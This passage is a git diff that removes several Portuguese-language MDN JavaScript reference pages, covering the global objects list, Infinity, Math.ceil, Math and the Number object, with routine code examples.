- <li>{{jsxref("Array")}}</li>
- <li>{{jsxref("Int8Array")}}</li>
- <li>{{jsxref("Uint8Array")}}</li>
- <li>{{jsxref("Uint8ClampedArray")}}</li>
- <li>{{jsxref("Int16Array")}}</li>
- <li>{{jsxref("Uint16Array")}}</li>
- <li>{{jsxref("Int32Array")}}</li>
- <li>{{jsxref("Uint32Array")}}</li>
- <li>{{jsxref("Float32Array")}}</li>
- <li>{{jsxref("Float64Array")}}</li>
- <li>{{jsxref("ParallelArray")}} {{non-standard_inline()}}</li>
-</ul>
-
-<h3 id="Coleções_por_chave">Coleções por chave</h3>
-
-<p>Coleções de objectos como chaves. Elementos iteráveis por ordem de inserção.</p>
-
-<ul>
- <li>{{jsxref("Map")}} {{experimental_inline()}}</li>
- <li>{{jsxref("Set")}} {{experimental_inline()}}</li>
- <li>{{jsxref("WeakMap")}} {{experimental_inline()}}</li>
- <li>{{jsxref("WeakSet")}} {{experimental_inline()}}</li>
-</ul>
-
-<h3 id="Dados_estruturados">Dados estruturados</h3>
-
-<p>Buffers de dados e <strong>J</strong>ava<strong>S</strong>cript <strong>O</strong>bject <strong>N</strong>otation (JSON).</p>
-
-<ul>
- <li>{{jsxref("ArrayBuffer")}}</li>
- <li>{{jsxref("DataView")}}</li>
- <li>{{jsxref("JSON")}}</li>
-</ul>
-
-<h3 id="Objectos_de_abstração_de_controlo">Objectos de abstração de controlo</h3>
-
-<ul>
- <li>{{jsxref("Iterator")}} {{non-standard_inline()}}</li>
- <li>{{jsxref("Generator")}} {{experimental_inline()}}</li>
- <li>{{jsxref("Promise")}} {{experimental_inline()}}</li>
-</ul>
-
-<h3 id="Reflexão">Reflexão</h3>
-
-<ul>
- <li>{{jsxref("Reflect")}} {{experimental_inline()}}</li>
- <li>{{jsxref("Proxy")}} {{experimental_inline()}}</li>
-</ul>
-
-<h3 id="Internacionalização">Internacionalização</h3>
-
-<p>Adições ao núcleo do ECMAScript para funcionalidades de linguagens sensíveis.</p>
-
-<ul>
- <li>{{jsxref("Intl")}}</li>
- <li>{{jsxref("Global_Objects/Collator", "Intl.Collator")}}</li>
- <li>{{jsxref("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}}</li>
- <li>{{jsxref("Global_Objects/NumberFormat", "Intl.NumberFormat")}}</li>
-</ul>
-
-<h3 id="Objetos_não_padrão">Objetos não padrão</h3>
-
-<ul>
- <li>{{jsxref("Iterator")}} {{non-standard_inline}}</li>
- <li>{{jsxref("ParallelArray")}} {{non-standard_inline}}</li>
- <li>{{jsxref("StopIteration")}} {{non-standard_inline}}</li>
-</ul>
-
-<h3 id="Outros">Outros</h3>
-
-<ul>
- <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments">Argumentos</a></code></li>
-</ul>
-</div>
-
-<p> </p>
diff --git a/files/pt-pt/web/javascript/reference/global_objects/infinity/index.html b/files/pt-pt/web/javascript/reference/global_objects/infinity/index.html
deleted file mode 100644
index 818471e60e..0000000000
--- a/files/pt-pt/web/javascript/reference/global_objects/infinity/index.html
+++ /dev/null
@@ -1,69 +0,0 @@
----
-title: Infinity
-slug: Web/JavaScript/Reference/Global_Objects/Infinity
-tags:
- - JavaScript
- - Propriedade
- - Referencia
-translation_of: Web/JavaScript/Reference/Global_Objects/Infinity
----
-<div>{{jsSidebar("Objects")}}</div>
-
-<p>A propriedade global <code><strong>Infinity</strong></code> é um valor numérico que representa o infinito.</p>
-
-<p>{{js_property_attributes(0,0,0)}}</p>
-
-<div>{{EmbedInteractiveExample("pages/js/globalprops-infinity.html")}}</div>
-
-<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p><code>Infinity</code> é uma propriedade do objeto <code>global</code>. Isto é para dizer que é um variável com um escopo global.</p>
-
-<p>O valor inicial do <code>Infinity</code> é {{jsxref("Number.POSITIVE_INFINITY")}}. O valor <code>Infinity</code> (infinito positivo) é maior que qualquer outro número.</p>
-
-<p>Este valor age de form diferente do infinito matematico; veja {{jsxref("Number.POSITIVE_INFINITY")}} para mais detalhes.</p>
-
-<p>Como definido na especificação ECMAScript 5, <code>Infinity</code> é <em>read-only</em> (implementado em JavaScript 1.8.5 / Firefox 4).</p>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="Usar_Infinity">Usar Infinity</h3>
-
-<pre class="brush: js notranslate">console.log(Infinity ); /* Infinity */
-console.log(Infinity + 1 ); /* Infinity */
-console.log(Math.pow(10, 1000)); /* Infinity */
-console.log(Math.log(0) ); /* -Infinity */
-console.log(1 / Infinity ); /* 0 */
-console.log(1 / 0 ); /* Infinity */
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('ESDraft', '#sec-value-properties-of-the-global-object-infinity', 'Infinity')}}</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("javascript.builtins.Infinity")}}</p>
-
-<h2 id="Veja_também">Veja também</h2>
-
-<ul>
- <li>{{jsxref("Number.NEGATIVE_INFINITY")}}</li>
- <li>{{jsxref("Number.POSITIVE_INFINITY")}}</li>
- <li>{{jsxref("Number.isFinite")}}</li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/global_objects/math/ceil/index.html b/files/pt-pt/web/javascript/reference/global_objects/math/ceil/index.html
deleted file mode 100644
index c89b15567a..0000000000
--- a/files/pt-pt/web/javascript/reference/global_objects/math/ceil/index.html
+++ /dev/null
@@ -1,161 +0,0 @@
----
-title: Math.ceil()
-slug: Web/JavaScript/Reference/Global_Objects/Math/ceil
-translation_of: Web/JavaScript/Reference/Global_Objects/Math/ceil
----
-<div>{{JSRef}}</div>
-
-<p>A função <strong><code>Math.ceil()</code></strong> retorna um inteiro smallest (sem casas decimais) maior ou igual ao n.º passado como parâmetro. Por exemplo ao fazer Math.ceil(3.01) o valor retornado é 4, ao fazer Math.ceil(-5.01) o retorno é -5, ao fazer Math.ceil(7) o valor devolvido é 7. </p>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox"><code>Math.ceil(<var>x</var>)</code></pre>
-
-<h3 id="Parametros">Parametros</h3>
-
-<dl>
- <dt><code>x</code></dt>
- <dd>Um número.</dd>
-</dl>
-
-<h3 id="Valor_de_retorno">Valor de retorno</h3>
-
-<p>Um inteiro smallest maior ou igual ao n.º passado como parâmetro.</p>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p>Como <code>ceil()</code> é um método estático de  <code>Math</code>,  pode sempre ser usado como <code>Math.ceil()</code>, o objeto <code>Math</code> não é um construtor. </p>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="Utilizando_Math.ceil">Utilizando <code>Math.ceil()</code></h3>
-
-<p>Seguem exemplos da utilização de <code>Math.ceil()</code>.</p>
-
-<pre class="brush: js">Math.ceil(.95); // 1
-Math.ceil(4); // 4
-Math.ceil(7.004); // 8
-Math.ceil(-0.95); // -0
-Math.ceil(-4); // -4
-Math.ceil(-7.004); // -7
-</pre>
-
-<h3 id="Ajustamento_decimal">Ajustamento decimal </h3>
-
-<pre class="brush: js">// Closure
-(function() {
- /**
- * Decimal adjustment of a number.
- *
- * @param {String} type The type of adjustment.
- * @param {Number} value The number.
- * @param {Integer} exp The exponent (the 10 logarithm of the adjustment base).
- * @returns {Number} The adjusted value.
- */
- function decimalAdjust(type, value, exp) {
- // If the exp is undefined or zero...
- if (typeof exp === 'undefined' || +exp === 0) {
- return Math[type](value);
- }
- value = +value;
- exp = +exp;
- // If the value is not a number or the exp is not an integer...
- if (isNaN(value) || !(typeof exp === 'number' &amp;&amp; exp % 1 === 0)) {
- return NaN;
- }
- // Shift
- value = value.toString().split('e');
- value = Math[type](+(value[0] + 'e' + (value[1] ? (+value[1] - exp) : -exp)));
- // Shift back
- value = value.toString().split('e');
- return +(value[0] + 'e' + (value[1] ? (+value[1] + exp) : exp));
- }
-
- // Decimal round
- if (!Math.round10) {
- Math.round10 = function(value, exp) {
- return decimalAdjust('round', value, exp);
- };
- }
- // Decimal floor
- if (!Math.floor10) {
- Math.floor10 = function(value, exp) {
- return decimalAdjust('floor', value, exp);
- };
- }
- // Decimal ceil
- if (!Math.ceil10) {
- Math.ceil10 = function(value, exp) {
- return decimalAdjust('ceil', value, exp);
- };
- }
-})();
-
-// Round
-Math.round10(55.55, -1); // 55.6
-Math.round10(55.549, -1); // 55.5
-Math.round10(55, 1); // 60
-Math.round10(54.9, 1); // 50
-Math.round10(-55.55, -1); // -55.5
-Math.round10(-55.551, -1); // -55.6
-Math.round10(-55, 1); // -50
-Math.round10(-55.1, 1); // -60
-// Floor
-Math.floor10(55.59, -1); // 55.5
-Math.floor10(59, 1); // 50
-Math.floor10(-55.51, -1); // -55.6
-Math.floor10(-51, 1); // -60
-// Ceil
-Math.ceil10(55.51, -1); // 55.6
-Math.ceil10(51, 1); // 60
-Math.ceil10(-55.59, -1); // -55.5
-Math.ceil10(-59, 1); // -50
-</pre>
-
-<h2 id="Especificações">Especificações </h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName('ES1')}}</td>
- <td>{{Spec2('ES1')}}</td>
- <td>Definição inicial JavaScript 1.0.</td>
- </tr>
- <tr>
- <td>{{SpecName('ES5.1', '#sec-15.8.2.6', 'Math.ceil')}}</td>
- <td>{{Spec2('ES5.1')}}</td>
- <td></td>
- </tr>
- <tr>
- <td>{{SpecName('ES6', '#sec-math.ceil', 'Math.ceil')}}</td>
- <td>{{Spec2('ES6')}}</td>
- <td></td>
- </tr>
- <tr>
- <td>{{SpecName('ESDraft', '#sec-math.ceil', 'Math.ceil')}}</td>
- <td>{{Spec2('ESDraft')}}</td>
- <td></td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Browser_compatibility">Browser compatibility</h2>
-
-<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
-
-<p>{{Compat("javascript.builtins.Math.ceil")}}</p>
-
-<h2 id="See_also">See also</h2>
-
-<ul>
- <li>{{jsxref("Math.abs()")}}</li>
- <li>{{jsxref("Math.floor()")}}</li>
- <li>{{jsxref("Math.round()")}}</li>
- <li>{{jsxref("Math.sign()")}}</li>
- <li>{{jsxref("Math.trunc()")}}</li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/global_objects/math/index.html b/files/pt-pt/web/javascript/reference/global_objects/math/index.html
deleted file mode 100644
index 867c783782..0000000000
--- a/files/pt-pt/web/javascript/reference/global_objects/math/index.html
+++ /dev/null
@@ -1,214 +0,0 @@
----
-title: Math
-slug: Web/JavaScript/Reference/Global_Objects/Math
-translation_of: Web/JavaScript/Reference/Global_Objects/Math
----
-<div>{{JSRef}}</div>
-
-<p><strong><code>Math</code></strong> é um objecto integrado que tem propriedades e métodos correspondentes a constantes e funções matemáticas. Não é um objecto função.</p>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p>Contrariamente aos outros objectos globais, <code>Math</code> não é um construtor. Todas as propriedades e métodos de <code>Math</code> são estáticas. Refere-se a constante pi com <code>Math.PI</code> e chama-se a função de seno com <code>Math.sin(x)</code>, em que x é o argumento do método. As constantes estão definidas com a precisão completa dos números reais do JavaScript.</p>
-
-<p>Para extender o objecto <code>Math</code>, não se usa o protótipo. Em vez disso extende-se directamente o objecto <code>Math</code>:</p>
-
-<p>Math.nomeProp=valorProp;</p>
-
-<p>Math.nomeMetodo=refMetodo;</p>
-
-<h2 id="Propriedades">Propriedades</h2>
-
-<dl>
- <dt>{{jsxref("Math.E")}}</dt>
- <dd>Euler's constant and the base of natural logarithms, approximately 2.718.</dd>
- <dt>{{jsxref("Math.LN2")}}</dt>
- <dd>Natural logarithm of 2, approximately 0.693.</dd>
- <dt>{{jsxref("Math.LN10")}}</dt>
- <dd>Natural logarithm of 10, approximately 2.303.</dd>
- <dt>{{jsxref("Math.LOG2E")}}</dt>
- <dd>Base 2 logarithm of E, approximately 1.443.</dd>
- <dt>{{jsxref("Math.LOG10E")}}</dt>
- <dd>Base 10 logarithm of E, approximately 0.434.</dd>
- <dt>{{jsxref("Math.PI")}}</dt>
- <dd>Ratio of the circumference of a circle to its diameter, approximately 3.14159.</dd>
- <dt>{{jsxref("Math.SQRT1_2")}}</dt>
- <dd>Square root of 1/2; equivalently, 1 over the square root of 2, approximately 0.707.</dd>
- <dt>{{jsxref("Math.SQRT2")}}</dt>
- <dd>Square root of 2, approximately 1.414.</dd>
-</dl>
-
-<h2 id="Métodos">Métodos</h2>
-
-<div class="note">
-<p>Note that the trigonometric functions (<code>sin()</code>, <code>cos()</code>, <code>tan()</code>, <code>asin()</code>, <code>acos()</code>, <code>atan()</code>, <code>atan2()</code>) expect or return angles in radians. To convert radians to degrees, divide by <code>(Math.PI / 180)</code>, and multiply by this to convert the other way.</p>
-</div>
-
-<div class="note">
-<p>Note that many math functions have a precision that's implementation-dependent. This means that different browsers can give a different result, and even the same JS engine on a different OS or architecture can give different results.</p>
-</div>
-
-<dl>
- <dt>{{jsxref("Global_Objects/Math/abs", "Math.abs(x)")}}</dt>
- <dd>Returns the absolute value of a number.</dd>
- <dt>{{jsxref("Global_Objects/Math/acos", "Math.acos(x)")}}</dt>
- <dd>Returns the arccosine of a number.</dd>
- <dt>{{jsxref("Global_Objects/Math/acosh", "Math.acosh(x)")}}</dt>
- <dd>Returns the hyperbolic arccosine of a number.</dd>
- <dt>{{jsxref("Global_Objects/Math/asin", "Math.asin(x)")}}</dt>
- <dd>Returns the arcsine of a number.</dd>
- <dt>{{jsxref("Global_Objects/Math/asinh", "Math.asinh(x)")}}</dt>
- <dd>Returns the hyperbolic arcsine of a number.</dd>
- <dt>{{jsxref("Global_Objects/Math/atan", "Math.atan(x)")}}</dt>
- <dd>Returns the arctangent of a number.</dd>
- <dt>{{jsxref("Global_Objects/Math/atanh", "Math.atanh(x)")}}</dt>
- <dd>Returns the hyperbolic arctangent of a number.</dd>
- <dt>{{jsxref("Global_Objects/Math/atan2", "Math.atan2(y, x)")}}</dt>
- <dd>Returns the arctangent of the quotient of its arguments.</dd>
- <dt>{{jsxref("Global_Objects/Math/cbrt", "Math.cbrt(x)")}}</dt>
- <dd>Returns the cube root of a number.</dd>
- <dt>{{jsxref("Global_Objects/Math/ceil", "Math.ceil(x)")}}</dt>
- <dd>Returns the smallest integer greater than or equal to a number.</dd>
- <dt>{{jsxref("Global_Objects/Math/clz32", "Math.clz32(x)")}}</dt>
- <dd>Returns the number of leading zeroes of a 32-bit integer.</dd>
- <dt>{{jsxref("Global_Objects/Math/cos", "Math.cos(x)")}}</dt>
- <dd>Returns the cosine of a number.</dd>
- <dt>{{jsxref("Global_Objects/Math/cosh", "Math.cosh(x)")}}</dt>
- <dd>Returns the hyperbolic cosine of a number.</dd>
- <dt>{{jsxref("Global_Objects/Math/exp", "Math.exp(x)")}}</dt>
- <dd>Returns E<sup>x</sup>, where <var>x</var> is the argument, and E is Euler's constant (2.718…), the base of the natural logarithm.</dd>
- <dt>{{jsxref("Global_Objects/Math/expm1", "Math.expm1(x)")}}</dt>
- <dd>Returns subtracting 1 from <code>exp(x)</code>.</dd>
- <dt>{{jsxref("Global_Objects/Math/floor", "Math.floor(x)")}}</dt>
- <dd>Returns the largest integer less than or equal to a number.</dd>
- <dt>{{jsxref("Global_Objects/Math/fround", "Math.fround(x)")}}</dt>
- <dd>Returns the nearest <a href="http://en.wikipedia.org/wiki/Single-precision_floating-point_format" title="link to the wikipedia page on single precision">single precision</a> float representation of a number.</dd>
- <dt>{{jsxref("Global_Objects/Math/hypot", "Math.hypot([x[, y[, …]]])")}}</dt>
- <dd>Returns the square root of the sum of squares of its arguments.</dd>
- <dt>{{jsxref("Global_Objects/Math/imul", "Math.imul(x, y)")}}</dt>
- <dd>Returns the result of a 32-bit integer multiplication.</dd>
- <dt>{{jsxref("Global_Objects/Math/log", "Math.log(x)")}}</dt>
- <dd>Returns the natural logarithm (log<sub>e</sub>, also ln) of a number.</dd>
- <dt>{{jsxref("Global_Objects/Math/log1p", "Math.log1p(x)")}}</dt>
- <dd>Returns the natural logarithm (log<sub>e</sub>, also ln) of <code>1 + x</code> for a number x.</dd>
- <dt>{{jsxref("Global_Objects/Math/log10", "Math.log10(x)")}}</dt>
- <dd>Returns the base 10 logarithm of a number.</dd>
- <dt>{{jsxref("Global_Objects/Math/log2", "Math.log2(x)")}}</dt>
- <dd>Returns the base 2 logarithm of a number.</dd>
- <dt>{{jsxref("Global_Objects/Math/max", "Math.max([x[, y[, …]]])")}}</dt>
- <dd>Returns the largest of zero or more numbers.</dd>
- <dt>{{jsxref("Global_Objects/Math/min", "Math.min([x[, y[, …]]])")}}</dt>
- <dd>Returns the smallest of zero or more numbers.</dd>
- <dt>{{jsxref("Global_Objects/Math/pow", "Math.pow(x, y)")}}</dt>
- <dd>Returns base to the exponent power, that is, <code>base<sup>exponent</sup></code>.</dd>
- <dt>{{jsxref("Global_Objects/Math/random", "Math.random()")}}</dt>
- <dd>Returns a pseudo-random number between 0 and 1.</dd>
- <dt>{{jsxref("Global_Objects/Math/round", "Math.round(x)")}}</dt>
- <dd>Returns the value of a number rounded to the nearest integer.</dd>
- <dt>{{jsxref("Global_Objects/Math/sign", "Math.sign(x)")}}</dt>
- <dd>Returns the sign of the x, indicating whether x is positive, negative or zero.</dd>
- <dt>{{jsxref("Global_Objects/Math/sin", "Math.sin(x)")}}</dt>
- <dd>Returns the sine of a number.</dd>
- <dt>{{jsxref("Global_Objects/Math/sinh", "Math.sinh(x)")}}</dt>
- <dd>Returns the hyperbolic sine of a number.</dd>
- <dt>{{jsxref("Global_Objects/Math/sqrt", "Math.sqrt(x)")}}</dt>
- <dd>Returns the positive square root of a number.</dd>
- <dt>{{jsxref("Global_Objects/Math/tan", "Math.tan(x)")}}</dt>
- <dd>Returns the tangent of a number.</dd>
- <dt>{{jsxref("Global_Objects/Math/tanh", "Math.tanh(x)")}}</dt>
- <dd>Returns the hyperbolic tangent of a number.</dd>
- <dt><code>Math.toSource()</code> {{non-standard_inline}}</dt>
- <dd>Returns the string <code>"Math"</code>.</dd>
- <dt>{{jsxref("Global_Objects/Math/trunc", "Math.trunc(x)")}}</dt>
- <dd>Returns the integral part of the number x, removing any fractional digits.</dd>
-</dl>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Status</th>
- <th scope="col">Comment</th>
- </tr>
- <tr>
- <td>{{SpecName('ES1')}}</td>
- <td>{{Spec2('ES1')}}</td>
- <td>Initial definition. Implemented in JavaScript 1.1.</td>
- </tr>
- <tr>
- <td>{{SpecName('ES5.1', '#sec-15.8', 'Math')}}</td>
- <td>{{Spec2('ES5.1')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('ES6', '#sec-math-object', 'Math')}}</td>
- <td>{{Spec2('ES6')}}</td>
- <td>New methods {{jsxref("Math.log10()", "log10()")}}, {{jsxref("Math.log2()", "log2()")}}, {{jsxref("Math.log1p()", "log1p()")}}, {{jsxref("Math.expm1()", "expm1()")}}, {{jsxref("Math.cosh()", "cosh()")}}, {{jsxref("Math.sinh()", "sinh()")}}, {{jsxref("Math.tanh()", "tanh()")}}, {{jsxref("Math.acosh()", "acosh()")}}, {{jsxref("Math.asinh()", "asinh()")}}, {{jsxref("Math.atanh()", "atanh()")}}, {{jsxref("Math.hypot()", "hypot()")}}, {{jsxref("Math.trunc()", "trunc()")}}, {{jsxref("Math.sign()", "sign()")}}, {{jsxref("Math.imul()", "imul()")}}, {{jsxref("Math.fround()", "fround()")}}, {{jsxref("Math.cbrt()", "cbrt()")}} and {{jsxref("Math.clz32()", "clz32()")}} added.</td>
- </tr>
- <tr>
- <td>{{SpecName('ESDraft', '#sec-math-object', 'Math')}}</td>
- <td>{{Spec2('ESDraft')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Browser_compatibility">Browser compatibility</h2>
-
-<div>{{CompatibilityTable}}</div>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Android</th>
- <th>Chrome for Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h2 id="See_also">See also</h2>
-
-<ul>
- <li>{{jsxref("Number")}}</li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/global_objects/number/index.html b/files/pt-pt/web/javascript/reference/global_objects/number/index.html
deleted file mode 100644
index 9ac8497a44..0000000000
--- a/files/pt-pt/web/javascript/reference/global_objects/number/index.html
+++ /dev/null
@@ -1,213 +0,0 @@
----
-title: Number
-slug: Web/JavaScript/Reference/Global_Objects/Number
-tags:
- - JavaScript
- - Number
- - Reference
- - TopicStub
-translation_of: Web/JavaScript/Reference/Global_Objects/Number
----
-<div>{{JSRef}}</div>
-
-<p>O objecto JavaScript <strong><code>Number</code></strong> é um objecto abstraído que te permite trabalhar com valores numéricos. Um objecto <code>Number</code> é criado usando o constructor <code>Number().</code></p>
-
-<h2 id="Constructor">Constructor</h2>
-
-<pre class="syntaxbox">new Number(valor);</pre>
-
-<h3 id="Parâmetro">Parâmetro</h3>
-
-<dl>
- <dt><code>valor</code></dt>
- <dd>O valor numérico representado pelo objecto que está a ser criado.</dd>
-</dl>
-
-<h2 id="Descrição">Descrição</h2>
-
-<p>Os usos mais comuns para o objecto <code>Number</code> são:</p>
-
-<ul>
- <li>Se o argumento não puder ser convertido num número, retorna {{jsxref("NaN")}}.</li>
- <li>Num contexto não-constructor (isto é, sem o operador {{jsxref("Operators/new", "new")}}), <code>Number</code> pode ser usado para uma conversão de tipo.</li>
-</ul>
-
-<h2 id="Propriedades">Propriedades</h2>
-
-<dl>
- <dt>{{jsxref("Number.EPSILON")}} {{experimental_inline}}</dt>
- <dd>O intervalo mais pequeno entre dois números representáveis.</dd>
- <dt>{{jsxref("Number.MAX_SAFE_INTEGER")}} {{experimental_inline}}</dt>
- <dd>O maior inteiro bem representado em JavaScript (<code>2<sup>53</sup> - 1</code>).</dd>
- <dt>{{jsxref("Number.MAX_VALUE")}}</dt>
- <dd>O maior número positivo representável.</dd>
- <dt>{{jsxref("Number.MIN_SAFE_INTEGER")}} {{experimental_inline}}</dt>
- <dd>O menor inteiro bem representado em JavaScript (<code>-(2<sup>53</sup> - 1)</code>).</dd>
- <dt>{{jsxref("Number.MIN_VALUE")}}</dt>
- <dd>O menor número positivo representável - ou seja, o número positivo mais próximo de zero (sem ser o zero).</dd>
- <dt>{{jsxref("Number.NaN")}}</dt>
- <dd>Valor especial para representar um "não número".</dd>
- <dt>{{jsxref("Number.NEGATIVE_INFINITY")}}</dt>
- <dd>Valor especial para representar o infinito negativo; retornado em caso de overflow.</dd>
- <dt>{{jsxref("Number.POSITIVE_INFINITY")}}</dt>
- <dd>Valor especial para representar o infinito; retornado em caso de overflow.</dd>
- <dt>{{jsxref("Number.prototype")}}</dt>
- <dd>Permite adicionar propriedades ao objecto <code>Number</code>.</dd>
-</dl>
-
-<h2 id="Métodos">Métodos</h2>
-
-<dl>
- <dt>{{jsxref("Number.isNaN()")}} {{experimental_inline}}</dt>
- <dd>Determina se o valor passado é NaN.</dd>
- <dt>{{jsxref("Number.isFinite()")}} {{experimental_inline}}</dt>
- <dd>Determina se o valor passado é um número finito.</dd>
- <dt>{{jsxref("Number.isInteger()")}} {{experimental_inline}}</dt>
- <dd>Determina se o número passado é um inteiro.</dd>
- <dt>{{jsxref("Number.isSafeInteger()")}} {{experimental_inline}}</dt>
- <dd>Determina se o valor passado é um inteiro bem representado (número entre <code>-(2<sup>53</sup> - 1)</code> e <code>2<sup>53</sup> - 1</code>).</dd>
- <dt><s class="obsoleteElement">{{jsxref("Number.toInteger()")}} {{obsolete_inline}}</s></dt>
- <dd><s class="obsoleteElement">Usado para avaliar o valor passado e convertê-lo num inteiro (ou {{jsxref("Global_Objects/Infinity", "Infinity")}}), mas foi removido.</s></dd>
- <dt>{{jsxref("Number.parseFloat()")}} {{experimental_inline}}</dt>
- <dd>O valor é o mesmo que {{jsxref("Global_Objects/parseFloat", "parseFloat()")}} de um objecto global.</dd>
- <dt>{{jsxref("Number.parseInt()")}} {{experimental_inline}}</dt>
- <dd>O valor é o mesmo que {{jsxref("Global_Objects/parseInt", "parseInt()")}} de um objecto global.</dd>
-</dl>
-
-<h2 id="Instâncias_de_Number"><code>Instâncias de Number</code></h2>
-
-<p>Todas as instâncias de <code>Number </code>herdam de {{jsxref("Number.prototype")}}. O objecto protótipo (prototype) do constructor de <code>Number</code> pode ser modificado para afectar todas as instâncias de <code>Number</code>.</p>
-
-<h3 id="Métodos_2">Métodos</h3>
-
-<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/prototype', 'Methods')}}</div>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="Usar_o_objecto_Number_para_atribuír_valores_a_variáveis_numéricas">Usar  o objecto <code>Number </code>para atribuír valores a variáveis numéricas</h3>
-
-<p>O seguinte exemplo usa as propriedades do objecto <code>Number</code> para atribuír valores a várias variáveis numéricas: </p>
-
-<pre class="brush: js">var biggestNum = Number.MAX_VALUE;
-var smallestNum = Number.MIN_VALUE;
-var infiniteNum = Number.POSITIVE_INFINITY;
-var negInfiniteNum = Number.NEGATIVE_INFINITY;
-var notANum = Number.NaN;
-</pre>
-
-<h3 id="Limite_inteiro_para_Number"><code>Limite inteiro para Number</code></h3>
-
-<p>O seguinte exemplo mostra o mínimo e máximo valores inteiros que podem ser representados como um objecto <code>Number</code> (para mais detalhes, consulta o standard do ECMAScript, capítulo <em>8.5 The Number Type</em>):</p>
-
-<pre class="brush: js">var biggestInt = 9007199254740992;
-var smallestInt = -9007199254740992;
-</pre>
-
-<p>Ao analisar dados que foram serializados para JSON, os valores inteiros fora deste limite são expectáveis de ficar corrompidos quando o analisador de JSON os tentar converter para o tipo <code>Number</code>. Como possível alternativa, usa {{jsxref("String")}}.</p>
-
-<h3 id="Usar_Number_para_converter_um_objecto_Date">Usar <code>Number </code>para converter um objecto <code>Date</code></h3>
-
-<p>O seguinte exemplo converte o objecto {{jsxref("Date")}} num valor numérico usando <code>Number</code> como função:</p>
-
-<pre class="brush: js">var d = new Date('December 17, 1995 03:24:00');
-console.log(Number(d));
-</pre>
-
-<p>Este código imprime "819199440000".</p>
-
-<h3 id="Converter_strings_numéricas_para_números">Converter strings numéricas para números</h3>
-
-<pre class="brush: js">Number("123") // 123
-Number("") // 0
-Number("0x11") // 17
-Number("0b11") // 3
-Number("0o11") // 9
-Number("foo") // NaN
-Number("100a") // NaN
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName('ES1')}}</td>
- <td>{{Spec2('ES1')}}</td>
- <td>Definição inicial. Implementado em JavaScript 1.1.</td>
- </tr>
- <tr>
- <td>{{SpecName('ES5.1', '#sec-15.7', 'Number')}}</td>
- <td>{{Spec2('ES5.1')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('ES6', '#sec-number-objects', 'Number')}}</td>
- <td>{{Spec2('ES6')}}</td>
- <td>Adicionados novas propriedades e métodos: ({{jsxref("Number.EPSILON", "EPSILON")}}, {{jsxref("Number.isFinite", "isFinite")}}, {{jsxref("Number.isInteger", "isInteger")}}, {{jsxref("Number.isNaN", "isNaN")}}, {{jsxref("Number.parseFloat", "parseFloat")}}, {{jsxref("Number.parseInt", "parseInt")}})</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_dos_browsers">Compatibilidade dos browsers</h2>
-
-<div>{{CompatibilityTable}}</div>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
